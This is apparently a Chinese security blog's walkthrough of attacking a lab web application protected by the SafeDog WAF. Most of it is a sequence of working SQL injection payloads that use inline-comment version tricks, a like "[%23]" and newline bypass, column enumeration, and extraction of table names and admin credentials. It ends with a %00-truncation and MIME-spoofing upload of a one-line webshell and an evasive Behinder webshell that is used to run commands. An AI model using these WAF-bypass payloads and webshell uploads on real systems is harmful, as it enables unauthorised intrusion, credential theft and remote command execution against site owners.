打开靶场,正常访问为此页面
尝试测试注入点,打入payload直接被狗给拦截了。
自此过狗开始,首先试一下之前学的内联注释绕过,/*!12345and*/发现被拦截了,这里尝试fuzz一下,发现更改内联注释内容还可以绕过成功。
通过以下语句绕过成功
http://192.168.2.163/sqltest/showproducts.php?id=13/*!10444and*/1=1
内联注释绕过的原理:
/*!xxxxx*/内联注释的内容数字大于版本号时会将内容注释掉,当小于版本号时仍会被mysql执行。内容需5位数,经过测试发现,数字中有4会更可能绕过成功!所以/*!12345and*/ 1=1等价于and 1=1
然后通过联合注入判断回显位置,但是在这一环节中自己尝试绕过很久没有成功,H老师甩我一个绕过的骚姿势,有一说一,着实牛逼。
首先通过fuzz发现没有过滤#字符。
然后通过like "[%23]"语句进行绕过
id=-13 like "[%23]" /*!10444union%0aselect*/ --+
同时like在mysql中是一个筛选的作用,那么以下语句的含义就是,先查询表中id=-13且存在#的数据(查询结果为空),执行后面的uinon select语句。
所以猜测当安全狗识别到查询语句有#,截断数据#后的语句不进行检查,然后发给服务器,但是mysql会执行该语句,从而达到绕过。
id=-13 like "[%23]" /*!10444union%0aselect*/--+
注:经过验证上述的猜测不完全对,安全狗对#截断后的数据还会做检查,只不过不够严谨,所以在union select中间再加入%0a换行即可绕过。
然后通过穷举的方式找出回显列数,经过测试发现,共有10列,且2,6,7,8,10可以回显数据。
id=-13 like "[%23]" /*!10444union%0aselect*/1 --+
id=-13 like "[%23]" /*!10444union%0aselect*/1,2 --+
id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3 --+
id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3,4 --+
id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3,4,5 --+
id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3,4,5,6 --+
id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3,4,5,6,7 --+
id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3,4,5,6,7,8 --+
id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3,4,5,6,7,8,9 --+
id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3,4,5,6,7,8,9,10 --+
通过绕过语句拿下数据库,这里对database()函数做了绕过,函数中间加入/*!10444*/,这里安全狗的规则猜测是database和()不能在一起。
id=-13 like "[%23]" /*!10444union%0aselect*/1,database(/*!10444*/),3,4,5,6,7,8,9,10 --+
通过上述的绕过方式,已经拿到数据库了,本以为可以轻松结束战斗拿到账号密码,没想到再获取数据的过程中又卡了我一个晚上,还是太菜了~
通过暴库语句可以查询到数据库(在sqllab靶场确定语句没有问题),也没有触发安全狗的规则,但是无法爆出表名。
爆表
id=-13 like "[%23]" /*!10444union%0aselect*/ 1,2,3,4,5,6,group_concat(table_name) from/*%23*/information_schema.tables where table_schema=database(/*!10444%0a*/),8,9,10 --+
于是乎我打开之前打过的xycms靶场,测试同样的语句,回显跟实验室靶场相同无法获取表名,但是之前打靶场的时候使用sqlmap可以把数据跑出来。
百思不得其姐下把sqlmap代理到burp,抓包看看sqlmap到底做了什么操作竟然能把数据给搞出来。结果是sqlmap把表名爆出来了,但burp抓到的sqlmap响应包中同样没有数据,离谱\==。
这里猜测网站对数据库的操作做了限制,或者对group_concat()语句做了限制,但是为什么sqlmap可以跑出来没有找到原因。
第二天,潘神给了个建议,不用group_concat直接select查字段试试,果然,成了!
id=-13 like "[%23]" /*!10444union%0aselect*/1,table_name,3,4,5,6,7,8,9,10 from/*%23*/information_schema.tables where table_schema=database(/*!10444%0a*/)--+
注:from后面加如/*%23*/的方式绕过安全狗
然后查字段,查值,最后拿到账号密码。
爆列
id=-13 like "[%23]" /*!10440union%0aselect*/ 1,column_name,3,4,5,6,7,8,9,10 from/*%23*/information_schema.columns where table_schema=database(/*!10444%0a*/) /*!10444and*/ table_name='manage_user' limit 1,2--+
爆值
id=-13 like "[%23]" /*!10440union%0aselect*/ 1,2,3,4,5,m_name,m_pwd,8,9,10 /*!10444from*/ /*%23*/manage_user --+
通过md5解密拿到密码admin
看了很多篇文件上传绕过文章,尝试了很多种方法,脏数据填充、长文件名多种绕过方式,但都没绕过被拦截了,只成功了这一种。
首先搞个一句话木马
上传一句话木马被安全狗拦截
采用%00截断的方式绕过安全够,在burp中抓包,然后将%00做url解码
但上传失败,网站显示文件类型不正确,网站本身也做了MIME文件校验。
这里修改文件类型为png,再次上传,上传成功,成功绕过!
使用冰蝎连接马子,但是这里发现连接失败。
访问该文件时,发现马儿被安全狗给拦截了
再上传一个免杀的冰蝎马儿,添加%00截断,修改文件类型、最后上传连接成功,并执行命令。
1 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!